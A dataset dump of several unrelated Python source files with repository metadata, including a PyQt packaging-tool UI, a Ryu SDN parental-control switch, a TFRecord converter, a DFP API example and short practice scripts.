self.test_play_button = QtWidgets.QPushButton(self.centralwidget)
self.test_play_button.setGeometry(QtCore.QRect(30, 20, 171, 71))
self.test_play_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.test_play_button.setObjectName("test_play_button")
self.package_play_button = QtWidgets.QPushButton(self.centralwidget)
self.package_play_button.setGeometry(QtCore.QRect(30, 110, 171, 71))
self.package_play_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.package_play_button.setObjectName("package_play_button")
self.package_button = QtWidgets.QPushButton(self.centralwidget)
self.package_button.setGeometry(QtCore.QRect(230, 110, 171, 71))
self.package_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.package_button.setObjectName("package_button")
self.instruction_button = QtWidgets.QPushButton(self.centralwidget)
self.instruction_button.setGeometry(QtCore.QRect(30, 200, 171, 71))
self.instruction_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.instruction_button.setObjectName("instruction_button")
self.update_package_button = QtWidgets.QPushButton(self.centralwidget)
self.update_package_button.setGeometry(QtCore.QRect(30, 290, 250, 71))
self.update_package_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.update_package_button.setObjectName("update_package_button")
self.update_test_button = QtWidgets.QPushButton(self.centralwidget)
self.update_test_button.setGeometry(QtCore.QRect(30, 400, 250, 71))
self.update_test_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.update_test_button.setObjectName("update_test_button")
self.edit_config_button = QtWidgets.QPushButton(self.centralwidget)
self.edit_config_button.setGeometry(QtCore.QRect(30, 490, 250, 71))
self.edit_config_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.edit_config_button.setObjectName("edit_config_button")
self.test_vs_button = QtWidgets.QPushButton(self.centralwidget)
self.test_vs_button.setGeometry(QtCore.QRect(30, 590, 250, 71))
self.test_vs_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.test_vs_button.setObjectName("test_vs_button")
self.package_vs_button = QtWidgets.QPushButton(self.centralwidget)
self.package_vs_button.setGeometry(QtCore.QRect(30, 690, 250, 71))
self.package_vs_button.setStyleSheet("font: 75 20pt \"Consolas\";")
self.package_vs_button.setObjectName("package_vs_button")
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 436, 23))
self.menubar.setObjectName("menubar")
self.menuD = QtWidgets.QMenu(self.menubar)
self.menuD.setTitle("")
self.menuD.setObjectName("menuD")
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName("statusbar")
MainWindow.setStatusBar(self.statusbar)
self.menubar.addAction(self.menuD.menuAction())
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate("MainWindow", "Unity_Package_Tool"))
self.test_play_button.setText(_translate("MainWindow", "ๆต่ฏ่ฟ่ก"))
self.package_play_button.setText(_translate("MainWindow", "ๆๅ
่ฟ่ก"))
self.package_button.setText(_translate("MainWindow", "ๆๆฐๅ
"))
self.instruction_button.setText(_translate("MainWindow", "ๆดๆฐๆฅๅฟ"))
self.update_package_button.setText(_translate("MainWindow", "ๆดๆฐๆๅ
ๆไปถๅคน"))
self.update_test_button.setText(_translate("MainWindow", "ๆดๆฐๆต่ฏๆไปถๅคน"))
self.edit_config_button.setText(_translate("MainWindow", "็ผ่พ้
็ฝฎๆไปถ"))
self.test_vs_button.setText(_translate("MainWindow", "ๆๅผๆต่ฏVSๅทฅ็จ"))
self.package_vs_button.setText(_translate("MainWindow", "ๆๅผๆๅ
VSๅทฅ็จ"))
def set_test_play_button_click(self, call_func):
self.test_play_button.clicked.connect(call_func)
def set_package_play_button_click(self, call_func):
self.package_play_button.clicked.connect(call_func)
def set_package_button_click(self, call_func):
self.package_button.clicked.connect(call_func)
def set_instruction_button_click(self, call_func):
self.instruction_button.clicked.connect(call_func)
def set_update_package_button_click(self, call_func):
self.update_package_button.clicked.connect(call_func)
def set_update_test_button_click(self, call_func):
self.update_test_button.clicked.connect(call_func)
def set_edit_config_button_click(self, call_func):
self.edit_config_button.clicked.connect(call_func)
def set_test_vs_button_click(self, call_func):
self.test_vs_button.clicked.connect(call_func)
def set_package_vs_button_click(self, call_func):
self.package_vs_button.clicked.connect(call_func)
| [
"zhifeiemail@gmail.com"
] | zhifeiemail@gmail.com |
1d0bab2a2ead912269ff9a3e40e9aae28e575010 | 1fe8d4133981e53e88abf633046060b56fae883e | /venv/lib/python3.8/site-packages/scipy/stats/_distn_infrastructure.py | bbe46a725cfa719670637fd115ac334af0d18a58 | [] | no_license | Akira331/flask-cifar10 | 6c49db8485038731ce67d23f0972b9574746c7a7 | 283e7a2867c77d4b6aba7aea9013bf241d35d76c | refs/heads/master | 2023-06-14T16:35:06.384755 | 2021-07-05T14:09:15 | 2021-07-05T14:09:15 | 382,864,970 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 131 | py | version https://git-lfs.github.com/spec/v1
oid sha256:8f00a046b4b32660b37f3d4f38d43a6fc2ba59225fce53e2e5919a10ee17d3c0
size 126866
| [
"business030301@gmail.com"
] | business030301@gmail.com |
d0f4b0606acd2b2cd2b6a6418a65255a3cbf253d | f131222013fd1c23bf23a9af44dbaf2cd2dfbe72 | /python้ซ็บง็ผ็จcode/ch13/p278.py | ad6f33aab7532b006edbe6e50754ecb43a5edfa0 | [] | no_license | shortdistance/workdir | e0bdadcb9d6b5e61e62434d574afad36afa60ba9 | 7c4a23fdbb8ae14b67aeda47ce53be1bd24ae2d1 | refs/heads/master | 2021-01-19T23:21:40.885964 | 2017-04-21T12:55:45 | 2017-04-21T12:55:45 | 88,968,923 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,369 | py | #!/usr/bin/python
# page 278
from threading import Thread
import os
import subprocess
from Queue import Queue
import logging
import time
import sys
from pbp.scripts.profiler import profile, print_stats
dirname = os.path.realpath(os.path.dirname(__file__))
CONVERTER = os.path.join(dirname, 'converter.py')
q = Queue()
def index_file(filename):
f = open(filename)
try:
content = f.read()
# process is here
subprocess.call([CONVERTER])
finally:
f.close()
def worker():
while True:
index_file(q.get())
q.task_done()
def index_files(files, num_workers):
for i in range(num_workers):
t = Thread(target=worker)
t.setDaemon(True)
t.start()
for file in files:
q.put(file)
q.join()
def get_text_files(dirname):
for root, dirs, files in os.walk(dirname):
for file in files:
if os.path.splitext(file)[-1] != '.txt':
continue
yield os.path.join(root, file)
@profile('process')
def process(dirname, numthreads):
dirname = os.path.realpath(dirname)
if numthreads > 1:
index_files(get_text_files(dirname), numthreads)
else:
for f in get_text_files(dirname):
index_file(f)
if __name__ == '__main__':
process(sys.argv[1], int(sys.argv[2]))
print_stats() | [
"zhanglei520vip@163.com"
] | zhanglei520vip@163.com |
e80d28baa897ca5c577b5d25f98efc4fe7f7e99c | 8bf882780c0a17a66ddf77d933f205de234c544a | /CS230/evaluate.py | 836ce15dff8934cd38906d4589a4c2561be36375 | [] | no_license | ixiaopan/NER_Tagger | 1663d9ae69ac4f59dea777002420eb018f61d37e | 59dbb8ea753c193357aba293adc334c027cec2d4 | refs/heads/main | 2023-07-16T01:28:25.424158 | 2021-08-30T09:24:39 | 2021-08-30T09:24:39 | 380,802,440 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 474 | py | import numpy as np
def evaluate(model, data_loader, params, loss_fn, metrics_func):
model.eval()
eval_log = []
for inputs, labels in data_loader:
out = model(inputs)
loss = loss_fn(out, labels)
log_per_batch = { name: metrics_func[name](out, labels) for name in metrics_func.keys() }
log_per_batch['loss'] = loss.item()
eval_log.append(log_per_batch)
return { m: round(np.mean([x[m] for x in eval_log ]), 4) for m in eval_log[0].keys() }
| [
"xiaopan.wpp@outlook.com"
] | xiaopan.wpp@outlook.com |
3bc4c2b9d72aa31d4721857fb7fe94b27da41464 | 0f27b8257e81f7cfb3a9a91bfe2e292f1f7e9459 | /Python/interviewexerciseswk4.py | 6de418b9d361a53adb3a09f066855a16d0f5be79 | [] | no_license | ahmermalik/classWork | 56fa3edf45ba9341876a859e33887ca799837278 | febd6790ca98f08c15ab90e970a67bf2ffc51e6e | refs/heads/master | 2021-09-10T05:26:12.367053 | 2018-03-21T04:33:09 | 2018-03-21T04:33:09 | 103,564,622 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 121 | py |
##Days move back by 1 every year.
##Leap year is every 4 year.
# how many saturdays are
year =[]
for range (0,99):
| [
"ahmer9800@gmail.com"
] | ahmer9800@gmail.com |
41a41eaba9a14b59248922821a70977937ccbc3a | 1460501c2622623dcdbc3da0a17de0224641001e | /app/rypace_switch_v01.py | dae035c32ee62665586df13de3fc65b0fc44a789 | [
"Apache-2.0"
] | permissive | rafaelsilvag/Rypace | c2b935aaccc5f390f4cf35060a6de9ca71a63fb8 | ace81c8d2316829e4632eb1678b6678173a00da9 | refs/heads/master | 2016-09-05T12:57:23.908566 | 2014-08-29T22:44:45 | 2014-08-29T22:44:45 | 21,402,965 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,121 | py | # Copyright (C) 2011 Nippon Telegraph and Telephone Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
import struct
from ryu.base import app_manager
from ryu.controller import mac_to_port
from ryu.controller import ofp_event
from ryu.controller.handler import MAIN_DISPATCHER
from ryu.controller.handler import set_ev_cls
from ryu.lib.ip import ipv4_to_bin, ipv4_to_str
from ryu.lib.packet.icmp import icmp
from ryu.ofproto import ofproto_v1_0
from ryu.lib.mac import haddr_to_bin
from ryu.lib.packet import packet
from ryu.lib.packet import ethernet
from ryu.lib.packet import ipv4
from ryu.lib.packet import ipv6
from ryu.lib.packet import tcp
from ryu.lib.packet import udp
from ryu.lib.packet import icmp
from ryu.lib import addrconv
# SQLAlchemy
from database.DatabaseSQL import Ips, Blacklists, Controls, ControlsBlacklists, Session, configDB
class RypaceSwitch(app_manager.RyuApp):
# Definicao da versao do OpenFlow - MK apenas suporta versao 1.0
OFP_VERSIONS = [ofproto_v1_0.OFP_VERSION]
#Metodo construtor
def __init__(self, *args, **kwargs):
super(RypaceSwitch, self).__init__(*args, **kwargs)
self.mac_to_port = {}
self.session = Session()
self.logger.info("=> Connected on host %s on database %s" % (configDB['hostname'], configDB['database']))
def ipv4_text_to_int(self, ip_text):
if ip_text == 0:
return ip_text
assert isinstance(ip_text, str)
return struct.unpack('!I', addrconv.ipv4.text_to_bin(ip_text))[0]
def ipv4_int_to_text(ip_int):
assert isinstance(ip_int, (int, long))
return addrconv.ipv4.bin_to_text(struct.pack('!I', ip_int))
# Adicionar regra na tabela Fluxo.
def add_flow(self, datapath, in_port, eth, ip_v4, actions):
ofproto = datapath.ofproto
idleTimeout = 2
hardTimeout = 2
if(ip_v4):
nw_src = self.ipv4_text_to_int(ip_v4.src)
nw_dst = self.ipv4_text_to_int(ip_v4.dst)
match = datapath.ofproto_parser.OFPMatch(
in_port=in_port,
dl_type=eth.ethertype,
dl_src=haddr_to_bin(eth.src),
dl_dst=haddr_to_bin(eth.dst),
nw_proto=ip_v4.proto,
nw_src=nw_src,
nw_dst=nw_dst,
)
else:
match = datapath.ofproto_parser.OFPMatch(
in_port=in_port, dl_type=eth.ethertype,
dl_src=haddr_to_bin(eth.src),
dl_dst=haddr_to_bin(eth.dst),)
idleTimeout = 2
hardTimeout = 2
mod = datapath.ofproto_parser.OFPFlowMod(
datapath=datapath, match=match, cookie=0,
command=ofproto.OFPFC_ADD, idle_timeout=idleTimeout, hard_timeout=hardTimeout,
priority=ofproto.OFP_DEFAULT_PRIORITY,
flags=ofproto.OFPFF_SEND_FLOW_REM, actions=actions)
datapath.send_msg(mod)
def add_flow_drop(self, datapath, in_port, eth, ip_v4):
ofproto = datapath.ofproto
actions = []
try:
nw_src = self.ipv4_text_to_int(ip_v4.src)
nw_dst = self.ipv4_text_to_int(ip_v4.dst)
except AssertionError, ex:
self.logger.error("AssertionError: %s", str(ip_v4))
match = datapath.ofproto_parser.OFPMatch(
in_port=in_port,
dl_type=eth.ethertype,
dl_src=haddr_to_bin(eth.src),
nw_proto=ip_v4.proto,
nw_src=nw_src,
nw_dst=nw_dst,
)
mod = datapath.ofproto_parser.OFPFlowMod(
datapath=datapath, match=match, cookie=0,
command=ofproto.OFPFC_ADD, idle_timeout=40, hard_timeout=40,
priority=ofproto.OFP_DEFAULT_PRIORITY + 1,
flags=ofproto.OFPFF_SEND_FLOW_REM, actions=actions)
datapath.send_msg(mod)
@set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)
def _packet_in_handler(self, ev):
#switchIPAddress = ev.msg.datapath.socket.fd.getpeername()[0]
msg = ev.msg
datapath = msg.datapath
ofproto = datapath.ofproto
# Captura o pacote recebido pelo Controlador.
pkt = packet.Packet(msg.data)
eth = pkt.get_protocol(ethernet.ethernet)
# Captura informacoes de IPv4 ou IPv6, TCP, UDP e ICMP, caso existam. Se o pacote
# nao ter, a variavel recebera None
ip_v4 = pkt.get_protocol(ipv4.ipv4)
ip_v6 = pkt.get_protocol(ipv6.ipv6)
tcp_port = pkt.get_protocol(tcp.tcp)
udp_port = pkt.get_protocol(udp.udp)
icmp_protocol = pkt.get_protocol(icmp.icmp)
dst = eth.dst
src = eth.src
dpid = datapath.id
self.mac_to_port.setdefault(dpid, {})
# Log Packet-In
#self.logger.info("Packet(%s) in %s %s %s %s", switchIPAddress, dpid, src, dst, msg.in_port)
#self.logger.info(self.mac_to_port)
# learn a mac address to avoid FLOOD next time.
self.mac_to_port[dpid][src] = msg.in_port
if dst in self.mac_to_port[dpid]:
out_port = self.mac_to_port[dpid][dst]
else:
out_port = ofproto.OFPP_FLOOD
actions = [datapath.ofproto_parser.OFPActionOutput(out_port)]
if(ip_v4):
# Verificando regras de controle parental no SGBD.
lstDestIps = []
lstOrigIps = []
lstControls = self.session.query(Controls).filter(Controls.mac == src).first()
if(lstControls):
# Lista os enderecos de destino referentes ao perfil atribuido do MAC.
lstBlacklists = self.session.query(ControlsBlacklists).filter(ControlsBlacklists.controls_id == lstControls.id).all()
if(lstBlacklists):
for i in lstBlacklists:
lstIps = self.session.query(Ips).filter(Ips.blacklist_id == i.blacklist_id).all()
for j in lstIps:
lstDestIps.append(j.ip)
if (ip_v4.dst in lstDestIps ) and (out_port != ofproto.OFPP_FLOOD):
self.logger.info("# SOURCE # %s ===> # DESTINATION # %s - %s ###DROP###", src, dst, lstDestIps)
self.add_flow_drop(datapath, msg.in_port, eth, ip_v4)
else:
lstControls = self.session.query(Controls).filter(Controls.mac == dst).first()
if(lstControls):
# Lista os enderecos de destino referentes ao perfil atribuido do MAC.
lstBlacklists = self.session.query(ControlsBlacklists).filter(ControlsBlacklists.controls_id == lstControls.id).all()
if(lstBlacklists):
for i in lstBlacklists:
lstIps = self.session.query(Ips).filter(Ips.blacklist_id == i.blacklist_id).all()
for j in lstIps:
lstOrigIps.append(j.ip)
if (ip_v4.src in lstOrigIps ) and (out_port != ofproto.OFPP_FLOOD):
self.logger.info("# SOURCE # %s ===> # DESTINATION # %s - %s ###DROP###", src, dst, lstDestIps)
self.add_flow_drop(datapath, msg.in_port, eth, ip_v4)
else:
self.logger.info("# SOURCE # %s ===> # DESTINATION # %s - %s ###ACCEPT###", src, dst, lstDestIps)
self.add_flow(datapath, msg.in_port, eth, ip_v4, actions)
else:
# install a flow to avoid packet_in next time
if out_port != ofproto.OFPP_FLOOD:
self.logger.info("# SOURCE # %s ===> # DESTINATION # %s ###ACCEPT###", eth.src, eth.dst)
self.add_flow(datapath, msg.in_port, eth, ip_v4, actions)
out = datapath.ofproto_parser.OFPPacketOut(
datapath=datapath, buffer_id=msg.buffer_id,
in_port=msg.in_port, actions=actions)
datapath.send_msg(out)
@set_ev_cls(ofp_event.EventOFPPortStatus, MAIN_DISPATCHER)
def _port_status_handler(self, ev):
msg = ev.msg
reason = msg.reason
port_no = msg.desc.port_no
ofproto = msg.datapath.ofproto
if reason == ofproto.OFPPR_ADD:
self.logger.info("port added %s", port_no)
elif reason == ofproto.OFPPR_DELETE:
self.logger.info("port deleted %s", port_no)
elif reason == ofproto.OFPPR_MODIFY:
self.logger.info("port modified %s", port_no)
else:
self.logger.info("Illeagal port state %s %s", port_no, reason)
| [
"rafael@infomania.com.br"
] | rafael@infomania.com.br |
ce889adde032a9d8897689f277b5efe2d72eb74f | fe6eaa2f3656dedcb2c1e937cc1363d19a0d3ec1 | /python_demo_project/python_100_days/memory_management/cycle_ref.py | d18b292b115fbd9e74db75c88a0b5fd2bbced6ce | [] | no_license | toyijiu/my_code | 4619ac6bc06c5032e01d5c215dbae516bbc4fe77 | dd163cc47e2c706504aba1d42322167fb93dd9e9 | refs/heads/master | 2020-08-31T14:49:18.188393 | 2019-11-27T08:57:55 | 2019-11-27T08:57:55 | 218,714,791 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 653 | py | #ๅพช็ฏๅผ็จ็demoไพๅญ
import gc,weakref,sys
class User(object):
#ไธๆฆๆไบ__del__ gcๅฏนๅพช็ฏๅผ็จไนๆฒกๆๅๆณไบ
def __del__(self):
pass
def callback(r):
print(r," is dead")
gc.disable()
a = User()
wa = weakref.ref(a,callable)
b = User()
wb = weakref.ref(b,callback)
print('weak ref address:',hex(id(wa)),hex(id(wb)))
#ๅฝขๆๅพช็ฏๅผ็จ
a.b = b
b.a = a
print('count:',sys.getrefcount(a),sys.getrefcount(b))
del a
del b
#่ฎกๆฐๆบๅถๅฏนๅพช็ฏๅผ็จๆ ๆ
print('weak ref',wa(),wb())
gc.set_debug(gc.DEBUG_STATS | gc.DEBUG_LEAK)
gc.enable()
print('is gc enable:',gc.isenabled())
#ๆๅจ่งฆๅgc
gc.collect()
| [
"309378714@qq.com"
] | 309378714@qq.com |
413f72426c8b730257f1c15971787709ea7e905a | 16866827a639cc414c9c1880c10674452afc4e1c | /cbt_practice/prime.py | d2ba0af99840a6de47ad047929c3baeaf0fe875d | [] | no_license | indradevg/mypython | ffa8051dc8ec3291aa5ed9563c2c9ee55d87286b | 22c968ed8a1d6907ffcf9d6b4094c07ef7e24a9a | refs/heads/master | 2021-06-07T16:44:12.281391 | 2016-10-23T17:03:02 | 2016-10-23T17:03:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 387 | py | #!/usr/bin/python3.4
'''
Prime number
'''
import functools
nums = range(2, 50)
for i in range(2, 8):
nums = list(filter(lambda x: x == i or x % i, nums))
print(nums)
'''
Lambda Examples
'''
foo = [2, 18, 9, 22, 17, 24, 8, 12, 27]
print(list(filter(lambda x: x % 3 == 0, foo)))
print(list(map(lambda x: x * 2 + 10, foo)))
print(functools.reduce(lambda x, y: x + y, foo))
| [
"indradev.g@gmail.com"
] | indradev.g@gmail.com |
f599db2de778bf371b573bdc4de90eef032a2b58 | a159aea3b44fd580dc81c124e014613e1be0d2aa | /notminist_tfrecord.py | b8cf52d61bec4d50489de92aeaaee95c83fd190a | [] | no_license | ZouYunzhe/dcgan | bc7d85c3589d7cd4179b5e47b184f1f2a52718a3 | 9c04c94a039e144f0074323411923dea7ac38294 | refs/heads/master | 2021-05-07T19:58:37.897222 | 2017-11-06T18:15:27 | 2017-11-06T18:15:27 | 108,915,061 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,673 | py | import tensorflow as tf
import numpy as np
import os
import matplotlib.pyplot as plt
import skimage.io as io
# %%
def get_file(file_dir):
'''Get full image directory and corresponding labels
Args:
file_dir: file directory
Returns:
images: image directories, list, string
labels: label, list, int
'''
images = []
temp = []
for root, sub_folders, files in os.walk(file_dir):
# image directories
for name in files:
images.append(os.path.join(root, name))
# get 10 sub-folder names
for name in sub_folders:
temp.append(os.path.join(root, name))
# assign 10 labels based on the folder names
labels = []
for one_folder in temp:
n_img = len(os.listdir(one_folder))
letter = one_folder.split('/')[-1]
if letter == 'A':
labels = np.append(labels, n_img * [0])
elif letter == 'B':
labels = np.append(labels, n_img * [1])
elif letter == 'C':
labels = np.append(labels, n_img * [2])
elif letter == 'D':
labels = np.append(labels, n_img * [3])
elif letter == 'E':
labels = np.append(labels, n_img * [4])
elif letter == 'F':
labels = np.append(labels, n_img * [5])
elif letter == 'G':
labels = np.append(labels, n_img * [6])
elif letter == 'H':
labels = np.append(labels, n_img * [7])
elif letter == 'I':
labels = np.append(labels, n_img * [8])
else:
labels = np.append(labels, n_img * [9])
# shuffle
temp = np.array([images, labels])
temp = temp.transpose()
np.random.shuffle(temp)
image_list = list(temp[:, 0])
label_list = list(temp[:, 1])
label_list = [int(float(i)) for i in label_list]
return image_list, label_list
# %%
def int64_feature(value):
"""Wrapper for inserting int64 features into Example proto."""
if not isinstance(value, list):
value = [value]
return tf.train.Feature(int64_list=tf.train.Int64List(value=value))
def bytes_feature(value):
return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))
# %%
def convert_to_tfrecord(images, labels, save_dir, name):
'''convert all images and labels to one tfrecord file.
Args:
images: list of image directories, string type
labels: list of labels, int type
save_dir: the directory to save tfrecord file, e.g.: '/home/folder1/'
name: the name of tfrecord file, string type, e.g.: 'train'
Return:
no return
Note:
converting needs some time, be patient...
'''
filename = os.path.join(save_dir, name + '.tfrecords')
n_samples = len(labels)
if np.shape(images)[0] != n_samples:
raise ValueError('Images size %d does not match label size %d.' % (images.shape[0], n_samples))
# wait some time here, transforming need some time based on the size of your data.
writer = tf.python_io.TFRecordWriter(filename)
print('\nTransform start......')
for i in np.arange(0, n_samples):
try:
image = io.imread(images[i]) # type(image) must be array!
image_raw = image.tostring()
label = int(labels[i])
example = tf.train.Example(features=tf.train.Features(feature={
'label': int64_feature(label),
'image_raw': bytes_feature(image_raw)}))
writer.write(example.SerializeToString())
except IOError as e:
print('Could not read:', images[i])
print('error: %s' % e)
print('Skip it!\n')
writer.close()
print('Transform done!')
# %%
def read_and_decode(tfrecords_file, batch_size):
'''read and decode tfrecord file, generate (image, label) batches
Args:
tfrecords_file: the directory of tfrecord file
batch_size: number of images in each batch
Returns:
image: 4D tensor - [batch_size, width, height, channel]
label: 1D tensor - [batch_size]
'''
# make an input queue from the tfrecord file
filename_queue = tf.train.string_input_producer([tfrecords_file])
reader = tf.TFRecordReader()
_, serialized_example = reader.read(filename_queue)
img_features = tf.parse_single_example(
serialized_example,
features={
'label': tf.FixedLenFeature([], tf.int64),
'image_raw': tf.FixedLenFeature([], tf.string),
})
image = tf.decode_raw(img_features['image_raw'], tf.uint8)
##########################################################
# you can put data augmentation here, I didn't use it
##########################################################
# all the images of notMNIST are 28*28, you need to change the image size if you use other dataset.
image = tf.reshape(image, [28, 28])
label = tf.cast(img_features['label'], tf.int32)
image_batch, label_batch = tf.train.batch([image, label],
batch_size=batch_size,
num_threads=64,
capacity=2000)
return image_batch, tf.reshape(label_batch, [batch_size])
# %% Convert data to TFRecord
test_dir = '/home/zouyunzhe/dc/data_notmnist/notMNIST_small/'
save_dir = '/home/zouyunzhe/dc/data_notmnist/notMNIST'
BATCH_SIZE = 64 #25
# Convert test data: you just need to run it ONCE !
# name_test = 'test'
# images, labels = get_file(test_dir)
# convert_to_tfrecord(images, labels, save_dir, name_test)
# %% TO test train.tfrecord file
def plot_images(images, labels):
'''plot one batch size
'''
for i in np.arange(0, BATCH_SIZE):
# plt.subplot(5, 5, i + 1)
plt.subplot(8, 8, i + 1)
plt.axis('off')
plt.title(chr(ord('A') + labels[i]), fontsize=14)
plt.subplots_adjust(top=1.5)
plt.imshow(images[i])
plt.show()
tfrecords_file = '/home/zouyunzhe/dc/data_notmnist/notMNIST/test.tfrecords'
image_batch, label_batch = read_and_decode(tfrecords_file, batch_size=BATCH_SIZE)
with tf.Session() as sess:
i = 0
coord = tf.train.Coordinator()
threads = tf.train.start_queue_runners(coord=coord)
try:
while not coord.should_stop() and i < 3001:
# just plot one batch size
if i == 3000:
image, label = sess.run([image_batch, label_batch])
plot_images(image, label)
i += 1
except tf.errors.OutOfRangeError:
print('done!')
finally:
coord.request_stop()
coord.join(threads)
| [
"noreply@github.com"
] | ZouYunzhe.noreply@github.com |
ed60ebb1bd2f19689acce3b8da7c7ef70e504b5d | 900b98964288a9cb0aaf2e45706ae2b32f92657f | /examples/adspygoogle/dfp/v201204/create_user_team_associations.py | 62cce744a9c7baa26ef58ebdc87ba7f213602503 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | krux/adspygoogle | df2405c2042aa9c9a83d97b8442afe68572e3e2e | 6505a71122f45fe3e675f27f2c29f67a1768069b | refs/heads/master | 2022-02-22T08:55:19.777002 | 2022-02-11T22:42:19 | 2022-02-11T22:42:19 | 7,103,378 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,264 | py | #!/usr/bin/python
#
# Copyright 2012 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This example adds a user to a team by creating an association between them.
To determine which teams exists, run get_all_teams.py. To determine which
users exist, run get_all_users.py.
Tags: UserTeamAssociationService.createUserTeamAssociations
"""
__author__ = 'api.shamjeff@gmail.com (Jeff Sham)'
# Locate the client library. If module was installed via "setup.py" script, then
# the following two lines are not needed.
import os
import sys
sys.path.insert(0, os.path.join('..', '..', '..', '..'))
# Import appropriate classes from the client library.
from adspygoogle import DfpClient
# Initialize client object.
client = DfpClient(path=os.path.join('..', '..', '..', '..'))
# Initialize appropriate service.
user_team_association_service = client.GetService(
'UserTeamAssociationService', version='v201204')
# Set the users and team to add them to.
team_id = 'INSERT_TEAM_ID_HERE'
user_ids = ['INSERT_USER_ID_HERE']
user_team_associations = []
for user_id in user_ids:
user_team_associations.append(
{
'teamId': team_id,
'userId': user_id
})
# Create the user team association on the server.
user_team_associations = (
user_team_association_service.createUserTeamAssociations(
user_team_associations))
# Display results.
if user_team_associations:
for user_team_association in user_team_associations:
print ('A user team association between user with ID \'%s\' and team with '
'ID \'%s\'was created.' % (user_team_association['userId'],
user_team_association['teamId']))
else:
print 'No user team associations created.'
| [
"charlie@schluting.com"
] | charlie@schluting.com |
8c83dd1b8f3d296ed10336103c75889b5d9055ae | 09b689db8119634c23228cfea71711e418f89242 | /contract/resources.py | a9b906e73d4cc499481add45300b637b7bdee56c | [] | no_license | htyangya/scwork | 9c8a2efb0c59b4ceaf1bc98ec7973c9919107534 | ab4d6f439e748226357b13e562140799d5641bcd | refs/heads/master | 2020-06-22T14:16:51.099866 | 2019-08-31T06:00:51 | 2019-08-31T06:00:51 | 197,728,478 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,871 | py | from import_export import resources
from import_export.fields import Field
from import_export.widgets import ForeignKeyWidget
from contract import apps
from .models import *
class Prg_base_resource(resources.ModelResource):
contract = Field(column_name="ๅๅ็ผๅท", attribute="contract", widget=ForeignKeyWidget(Contract, 'name'))
def __init__(self):
super(Prg_base_resource, self).__init__()
# ่ทๅๆไปฅๅญๆฎต็verbose_nameๅนถๅญๆพๅจๅญๅ
ธ
field_list = Prgsheet._meta.fields
self.vname_dict = {}
for i in field_list:
self.vname_dict[i.name] = i.verbose_name
def get_export_fields(self):
fields = self.get_fields()
for field in fields:
field_name = self.get_field_name(field)
# ๅฆๆๆไปฌ่ฎพ็ฝฎ่ฟverbose_name๏ผๅๅฐcolumn_nameๆฟๆขไธบverbose_nameใๅฆๅ็ปดๆๅๆ็ๅญๆฎตๅ
if field_name in self.vname_dict.keys():
field.column_name = self.vname_dict[field_name]
return fields
class Prg_ex_resource(Prg_base_resource):
contract__custom__city=Field(column_name="ๅๅธ", attribute="contract__custom__city")
class Meta:
model = Prgsheet
fields = ['contract','contract__custom__city','ownerrecord', 'owner', 'approval_dep', 'approval_address',
'type', 'progress','prg_explain' ,'isfinish','ispropelling','totalcost','file',
'createtime','updatetime','finishtime']
export_order =fields
class Prg_im_resource(Prg_base_resource):
class Meta:
model = Prgsheet
skip_unchanged = True
report_skipped = False
import_id_fields = ('contract',)
fields = ['contract','ownerrecord', 'owner', 'approval_dep', 'approval_address',
'type', 'progress' ,'isfinish', 'ispropelling','prg_explain', ]
| [
"979734716@qq.com"
] | 979734716@qq.com |
29f00d0fc036a4656c59dc85e7d6063076b1fb18 | 1bad7d2b7fc920ecf2789755ed7f44b039d4134d | /ABC/66/C.py | 728f96c9977078e4efec5ce636aba033801f197b | [] | no_license | kanekyo1234/AtCoder_solve | ce95caafd31f7c953c0fc699f0f4897dddd7a159 | e5ea7b080b72a2a2fd3fcb826cd10c4ab2e2720e | refs/heads/master | 2023-04-01T04:01:15.885945 | 2021-04-06T04:03:31 | 2021-04-06T04:03:31 | 266,151,065 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 439 | py | n=int(input())
a=list(map(int,input().split()))
b=[0]*n
cen=n//2
if n%2:#n%2==1
for i in range(0,n):
if i%2==1:
b[cen+(i+1)//2]=a[i]
else:
b[cen-(i+1)//2]=a[i]
else:
for i in range(0,n):
if i%2==1:
b[cen-(i+1)//2]=a[i]
else:
b[cen+(i+1)//2]=a[i]
